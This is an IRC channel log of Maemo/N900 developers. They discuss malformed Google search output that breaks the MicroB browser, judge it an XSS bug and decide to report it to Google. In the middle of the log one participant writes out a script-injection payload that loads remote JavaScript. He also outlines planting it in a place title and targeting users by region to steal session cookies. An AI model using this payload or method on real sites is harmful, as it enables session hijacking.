**** BEGIN LOGGING AT Sat Dec 19 02:59:58 2015
Dec 19 05:21:13 <ds3> donno what you are searching but they return garbage 99% of the time
Dec 19 05:21:21 <ds3> just randomly dropping terms to return "results"
Dec 19 06:18:10 <jonwil> The trick is to know how to use Google properly
Dec 19 06:18:13 <jonwil> and what the right search terms are
Dec 19 06:20:31 <jonwil> Its the largest collection of information ever collected, its logical to expect that there are times when it might not return exactly the right result and you need to further narrow it down
Dec 19 06:24:12 <ds3> that is a waste of time. they didn't used to do that
Dec 19 07:01:02 <KotCzarny> yeah, searching for the right term is the key to the getting good results, but 'good enough search term' is also very good with google, which differentiates is from the most of the other search engines
Dec 19 07:01:25 <KotCzarny> what i dislike with google is that they changed algo somehow and now it returns results with a long delay
Dec 19 07:03:08 <KotCzarny> also, adding 'google fix' extension fixed another delay where they send click to the google first then going to the clicked link target
Dec 19 08:02:47 <jonwil> http://talk.maemo.org/showthread.php?p=1492095#post1492095
Dec 19 08:03:16 <jonwil> freemangordon: ping
Dec 19 08:03:29 <jonwil> ~seen pali
Dec 19 08:03:35 <jonwil> damn bot
Dec 19 08:03:43 <jonwil> :P
Dec 19 08:03:53 <jonwil> merlin1991: ping
Dec 19 08:03:58 <KotCzarny> shouldnt it be sent to google.com and not maemo?
Dec 19 08:04:05 <KotCzarny> povbot: seen pali
Dec 19 08:04:06 <povbot> KotCzarny: pali was last seen in #maemo 3 days, 10 hours, 48 minutes, and 57 seconds ago: <Pali> becase we are adding unused link dependences
Dec 19 08:04:14 <KotCzarny> use povbot for seens
Dec 19 08:07:12 <jonwil> Its google returning invalid output but we would need to A.Find a way to contract the right part of Google (I cant find any such contacts) B.Get them to care about fixing an issue that affects an ancient (in internet terms) no-longer-supported dead browser (unlikely given that they have already dropped support for the relavent Firefox versions that microb-engine comes from) and C.Get them to...
Dec 19 08:07:13 <jonwil> ...then actually make the necessary fix to what output they return (also hard since any change they make to their output has concequences for other browsers too and would need a lot of testing and stuff)
Dec 19 08:07:25 <jonwil> hence why I am suggesting a workaround in microb might be the only solution
Dec 19 08:52:35 <freemangordon> jonwil: pong
Dec 19 08:53:37 <jonwil> FYI, I am going away for xmas (leaving tomorrow afternoon) and wont be on IRC (or doing any dev stuff). I get back about a week later.
Dec 19 08:53:50 <KotCzarny> poor you
Dec 19 08:54:04 <jonwil> it will be fun :)
Dec 19 08:54:06 <freemangordon> ok
Dec 19 08:54:10 <jonwil> lots of cool stuff planned :)
Dec 19 08:54:19 <KotCzarny> :)
Dec 19 08:54:56 <jonwil> also if you have any comments on my microb post, that would be great
Dec 19 08:55:24 <jonwil> would be good to see what the best solution is...
Dec 19 09:11:53 <freemangordon> jonwil: I don;t really like the idea to tweak microb outside of the standards just to please google
Dec 19 09:21:05 <Maxdamantus> I suspect Google would fix it if the relevant people were made aware of it.
Dec 19 09:21:34 <jonwil> Yes I am sure, we just need to find the right people at Google
Dec 19 09:21:37 <jonwil> which seems to be hard
Dec 19 09:21:46 <jonwil> I cant find any contacts for the Google Search Engine people
Dec 19 09:23:19 <Maxdamantus> https://www.google.com/appserve/security-bugs/m2/new?rl=&key=
Dec 19 09:23:25 <Maxdamantus> I'd call that an XSS bug.
Dec 19 09:27:14 <Maxdamantus> Possible XSS bug, content passed unescaped into HTML document.
Dec 19 09:27:16 <Maxdamantus> Simple, correct.
Dec 19 09:27:34 * Maxdamantus would do it himself if he knew the URL involved etc
Dec 19 09:31:05 <Maxdamantus> All you need to do to use it to do actual XSS is create a page somewhere with a title like <script src="//bit.ly/aeaoe"/>
Dec 19 09:31:39 <Maxdamantus> then get Google to index it such that you can consistently search for it, then get people to load the URL that produces that document in an iframe.
Dec 19 09:35:35 <jonwil> I wouldn't call it a security bug
Dec 19 09:36:59 <Maxdamantus> Why not?
Dec 19 09:37:11 <Maxdamantus> XSS is a security bug. It's one of the things listed right there.
Dec 19 09:37:36 <Maxdamantus> “I want to report a technical security bug in a Google product (SQLi, XSS, etc.).”
Dec 19 09:38:10 <Maxdamantus> unescaped content in HTML = XSS
Dec 19 09:38:50 <Maxdamantus> Try searching for something like `script src`
Dec 19 09:38:56 <Maxdamantus> See what the produced XML looks like.
Dec 19 09:39:09 <Maxdamantus> I suspect it'll directly have <script src=""> in it.
Dec 19 09:39:18 <Maxdamantus> because that's in the title of some stackoverflow posts.
Dec 19 09:39:41 <jonwil> I see no way to exploit this particular issue
Dec 19 09:39:43 <Maxdamantus> What's the URL?
Dec 19 09:39:52 * Maxdamantus will see if he can load microb still.
Dec 19 09:39:56 <jonwil> Firstly different people will get a different set of results back for the same search based on what Google decides to return for a given search
Dec 19 09:40:07 <jonwil> i.e. what you get back when you search for a given term wont be the same as what I get back
Dec 19 09:40:22 <Maxdamantus> It will if it's a fairly unique search.
Dec 19 09:40:35 <jonwil> the ones its triggering on for me are fairly common
Dec 19 09:40:36 <Maxdamantus> Try searching for "maxdamantus temahia"
Dec 19 09:40:45 <Maxdamantus> I suspect you'll get one result, linking to some log from this chat.
Dec 19 09:40:57 <Maxdamantus> You're not trying to do XSS.
Dec 19 09:41:06 <Maxdamantus> If you try to do XSS you will try to come up with your own unique searches.
Dec 19 09:41:25 <Maxdamantus> You're just stumbling across the bug and it's making your browser fail.
Dec 19 09:41:51 <Maxdamantus> You're not the result of a targeted attack. A targeted attack is probably possible with the bug though.
Dec 19 09:42:29 <jonwil> To exploit this you would need to find a way to get a web page (with a hand-crafted title of your choice) such that it appears in the "places" section when you search on a Nokia N900 for a specific search term (and does so reliably for many people in many places)
Dec 19 09:42:50 <jonwil> Which would be highly unlikely given that Google will only ever show you places local to whatever it thinks your position is
Dec 19 09:43:07 <Maxdamantus> What's the URL?
Dec 19 09:43:09 <jonwil> even for a unique term
Dec 19 09:43:33 <jonwil> there is no URL as such, its searching with microb for specific search terms that happen to trigger the bug
Dec 19 09:43:45 <jonwil> in my case searching for fish and chips triggers it
Dec 19 09:43:49 <Maxdamantus> Yes, what's a URL?
Dec 19 09:43:56 <jonwil> because the "places" results include the & symbol
Dec 19 09:44:00 <Maxdamantus> I don't care about the term itself.
Dec 19 09:44:14 <Maxdamantus> I just want to know the form of URL that has the obvious bug in it.
Dec 19 09:44:41 <jonwil> The URL means nothing since the page you get back will be totally different for every browser, location etc.
Dec 19 09:44:55 <Maxdamantus> The URL points to a page with a bug in it.
Dec 19 09:44:57 <jonwil> and in fact there is nothing special about the URL
Dec 19 09:44:58 <Maxdamantus> What is the URL?
Dec 19 09:45:04 <Maxdamantus> I don't care if it's triggered or not for me.
Dec 19 09:45:12 <Maxdamantus> I just want to know a URL.
Dec 19 09:45:34 <jonwil> there is no special URL, its the normal google search
Dec 19 09:46:06 <jonwil> any google search via any url will fail on microb if it returns the right results
Dec 19 09:46:28 <Maxdamantus> So something like this? https://www.google.co.nz/search?q=foo
Dec 19 09:46:34 <jonwil> yeah anything will do it
Dec 19 09:47:49 <jonwil> it has to return results with a "places" section and that section needs to contain a result with an & in the title
Dec 19 09:50:27 <jonwil> but like I said unless you can gaurantee that where Google thinks your target is located is in the right place to return your handcrafted "places" result, you cant use this for an exploit. Google wont return a "places" result for a location in New York (for example) to someone in London no matter what search term they use.
Dec 19 09:50:39 <Maxdamantus> You can probably just tell them to use the term "fish chips"
Dec 19 09:50:43 <Maxdamantus> It happens for me too.
Dec 19 09:50:56 <Maxdamantus> and I suspect you're in the country next to mine.
Dec 19 09:51:03 <jonwil> Yes I am in Australia :)
Dec 19 09:51:11 <jonwil> but it wont happen for everyone and you wont get the ability to control which results it displays
Dec 19 09:51:29 <jonwil> If someone searches for fish and chips and they dont get a result with an & in the name, it wont fail
Dec 19 09:51:49 <Maxdamantus> But that seems unlikely.
Dec 19 09:52:34 <jonwil> even if you can be fairly sure it will trigger, its not usable as an exploit since you have no control over the output (at best you can make microb spit out a parser error)
Dec 19 09:53:48 <KotCzarny> jonwil: unlikely != unexploitable
Dec 19 09:54:07 <KotCzarny> remember, all bugs are initially hidden because they dont show right away
Dec 19 09:54:18 <jonwil> I dont deny its a bug
Dec 19 09:54:45 <KotCzarny> and 'its unlikely, so it doesnt matter' is a sure way to make your product unsecure
Dec 19 09:54:45 <jonwil> but its not an exploit if you the attacker have no way to control what, if any, bogus invalid content the user sees
Dec 19 09:55:19 <KotCzarny> jonwil, also, if YOU cant think of a way to exploit it, doesnt mean SOMEONE ELSE cant think of a way
Dec 19 09:55:28 <KotCzarny> sometimes its a chain of bugs to do an exploit
Dec 19 09:55:44 <Maxdamantus> jonwil: so it's exploitable in certain areas .. that's exploitable.
Dec 19 09:55:49 <KotCzarny> that's why it's important to patch even 'unlikely' bugs
Dec 19 09:56:04 <Maxdamantus> I'm pretty sure it's not hard to get Google to know about new "places".
Dec 19 09:56:17 <Maxdamantus> and the class of bug is XSS.
Dec 19 09:56:21 <jonwil> The only side effect of the bug is a weird client-side microb parser error, how is that usable for exploiting
Dec 19 09:56:30 <Maxdamantus> content is injected into HTML unescaped.
Dec 19 09:56:58 <KotCzarny> url string can be treated as js variable input?
Dec 19 09:57:07 <Maxdamantus> That's the side-effect when a place happens to have an ampersand in it that's not part of an HTML escape sequence.
Dec 19 09:57:27 <Maxdamantus> That's the side-effect you're most likely to stumble across when you're not the subject of an attack.
Dec 19 09:58:05 <Maxdamantus> When you're subject to an attack, the side-effect will be the page will be parsed fine, but it'll inject someone else's JavaScript onto a page owned by Google.
Dec 19 09:58:17 <Maxdamantus> which is extremely bad.
Dec 19 09:59:13 <Maxdamantus> if your browser happens to be logged on to Google, someone else can hijack your session cookies and mess around as you on your Google account.
Dec 19 10:00:56 <jonwil> The trick is finding something which, when inserted into the text between a <a> and a </a> tag will cause the browser not to fail on parsing it but will instead do something dangerous
Dec 19 10:02:18 <Maxdamantus> https://gist.githubusercontent.com/Maxdamantus/fb3f4252e9b9d21798cd/raw/025026518fde653d44c89f8f724974e361ecc9d9/gistfile1.txt
Dec 19 10:02:37 <Maxdamantus> ie, exactly what I said.
Dec 19 10:02:48 <Maxdamantus> <script src="//maxdamantus.eu.org/e.js"/>
Dec 19 10:03:07 <Maxdamantus> That's perfectly acceptable between <a> and </a> tags
Dec 19 10:03:39 <Maxdamantus> and if it does appear there, it'll load some weird JS that in this case happens to make all the elements bounce around the screen flashing random colours.
Dec 19 10:04:41 <Maxdamantus> I'll report it.
Dec 19 10:04:43 <jonwil> yeah true, we have no way to know if its just the one case of the bogus & sign
Dec 19 10:04:50 <jonwil> I will report it since I know the details
Dec 19 10:04:58 <Maxdamantus> I know the details now too.
Dec 19 10:05:22 <Maxdamantus> If you do it, you should probably include the first part of that curl command I posted.
Dec 19 10:05:38 <Maxdamantus> since I can use that to make the request that gets the invalid response from my other machine.
Dec 19 10:05:53 <jonwil> Ok if you know the details, you fill in the report
Dec 19 10:05:59 <Maxdamantus> Okay.
Dec 19 10:06:34 <jonwil> especially since you will probably be in a better position to provide follow up with Google than I will (being that I will be away for a while)
Dec 19 10:08:18 <Maxdamantus> I'll also be away starting in a few days, but it's okay.
Dec 19 10:08:32 <jonwil> Oh and please keep http://talk.maemo.org/showthread.php?p=1492095#post1492095 up with the details (i.e. your report to Google and anything Google responds with)
Dec 19 10:10:30 <jonwil> I will probably be in a position to follow t.m.o (via my phone) on my holiday
Dec 19 10:10:36 <jonwil> I just wont have any access to IRC
Dec 19 10:10:43 <jonwil> or to anything dev environment etc
Dec 19 10:12:12 <jonwil> oh and thinking about it, even if its not exploitable, the fact that its "unescaped content being put into a web page" means it can at least be called a security bug and can therefore be submitted to Google via that form and will probably actually reach the inbox of someone with the power to look into it
Dec 19 10:16:08 <jonwil> btw Maxdamantus, dont forget to include details of how to reproduce it (an easy way to reproduce it even without needing microb and a N900 is to use a current Gecko based browser, a user-agent switcher and the N900 user agent)
Dec 19 10:16:15 <jonwil> That will get it to return the same content as on the N900
Dec 19 10:16:47 <Maxdamantus> Yes. I'm about to figure out a minimal reduction of the user agent required.
Dec 19 10:17:59 <jonwil> Being able to reproduce it with a browser that Google developers probably already test against/have locally with just a custom user-agent should make fixing it much easier than if they have to go "what the hell is microb and why should we care"
Dec 19 10:21:06 <Maxdamantus> it reports an error in Chrome too (using a UA that triggers the old search page)
Dec 19 10:21:11 <Maxdamantus> well, Chromium.
Dec 19 10:30:23 <jonwil> that's good, it shows 100% that its Google returning bogus content to any browser responding with that user agent (and if by some miracle there is a browser being triggered by the same user-agent check that somehow needs the content the way Google is currently sending it, Google will have that info and can find a way to differentiate between that one and the ones that break)
Dec 19 10:39:10 <Maxdamantus> It's probably a problem simply with the old version of the site.
Dec 19 10:39:37 <Maxdamantus> You can also use the Nokia N9 UA included in Developer Tools to load it.
Dec 19 10:40:27 <jonwil> Developer Tools as in?
Dec 19 10:40:32 <jonwil> is that a Chrome feature?
Dec 19 10:40:40 <Maxdamantus> F12 in Chrome/Chromium
Dec 19 10:40:43 <jonwil> oh ok
Dec 19 10:41:05 <jonwil> I dont use Chrome, I use SeaMonkey (Firefox derivative)
Dec 19 10:41:31 <jonwil> anyhow hopefully Google responds to your report and hopefully they fix the bug
Dec 19 10:41:40 <jonwil> and I dont need my hack patch to microb anymore :)
Dec 19 10:41:52 <Maxdamantus> also, you can specify locations.
Dec 19 10:42:06 <Maxdamantus> https://www.google.co.nz/search?near=Wellington&q=cafes
Dec 19 10:42:29 <Maxdamantus> so if you can get something malicious in a particular region you can target people generally using that bug.
Dec 19 10:45:20 <jonwil> didn't know that :)
Dec 19 10:45:47 <jonwil> anyhow lets hope Google will fix this bug in their mobile (or old-browser mobile) site
Dec 19 10:48:36 * Maxdamantus needs to create a business called <script src="//maxdamantus.eu.org/e.js"/> ltd.
Dec 19 10:53:12 <sixwheeledbeast> Use a different search engine?
Dec 19 10:53:42 <Maxdamantus> *2015 HOLIDAYS NOTICE*: During the last couple weeks of December, we might take a little bit longer to respond to you. That said, we will be working, and we'll give priority to all high severity reports. Thank you for your understanding.
Dec 19 10:54:00 <Maxdamantus> (this probably wouldn't be considered high-severity)
Dec 19 10:55:55 <jonwil> For now I have a hack fix to libexpat in microb that makes it work enough for searching
Dec 19 10:56:04 <jonwil> but its obviously not the right fix
Dec 19 10:56:05 <jonwil> :)
Dec 19 10:59:04 <jonwil> hmmm, it might help if I actually printed out the pdf file from the airline with my ticket details on it, going to need that tomorrow :)
Dec 19 11:04:00 <jonwil> heh, my printer has been saying "out of black ink" for a while now and yet it still prints without fail. I bet its lying to me to get me to throw away perfectly good black ink.
Dec 19 11:04:24 <jonwil> Unless of course its printing black using the colored ink tank
Dec 19 11:06:21 <jonwil> ok, zzz time, got a lot to do tomorrow :)
Dec 19 11:06:22 <jonwil> cya
Dec 19 16:53:46 <sixwheeledbeast> ~ping
Dec 19 20:16:17 <jonwil> hi
Dec 19 20:17:34 <Pali> jonwil: hi
Dec 19 20:18:33 <jonwil> Not long now until my holiday. YAY :)
Dec 19 20:18:55 <Pali> jonwil: can you look at http://mg.pov.lt/maemo-ssu-irclog/#maemo-ssu.2015-12-15.log.html#t2015-12-15T23:35:57 ?
Dec 19 20:20:07 <jonwil> Freemangordon said he was going to do something about that I thnik
Dec 19 20:28:59 <jonwil> I dont have time to do anything about it, I have to finish getting ready for my holiday :)
Dec 19 20:37:14 <jonwil> I will be away for about a week or so :)
Dec 19 20:39:25 <Pali> ok
Dec 19 21:11:29 <jonwil> At least I have a (hack) fix for my problems with Google until such time as Google fixes their stuff :)
Dec 19 21:26:37 <freemangordon> Pali: I will make the appropriate -dev package as long as I have time
Dec 19 21:26:44 <Pali> ok
**** ENDING LOGGING AT Sun Dec 20 02:59:59 2015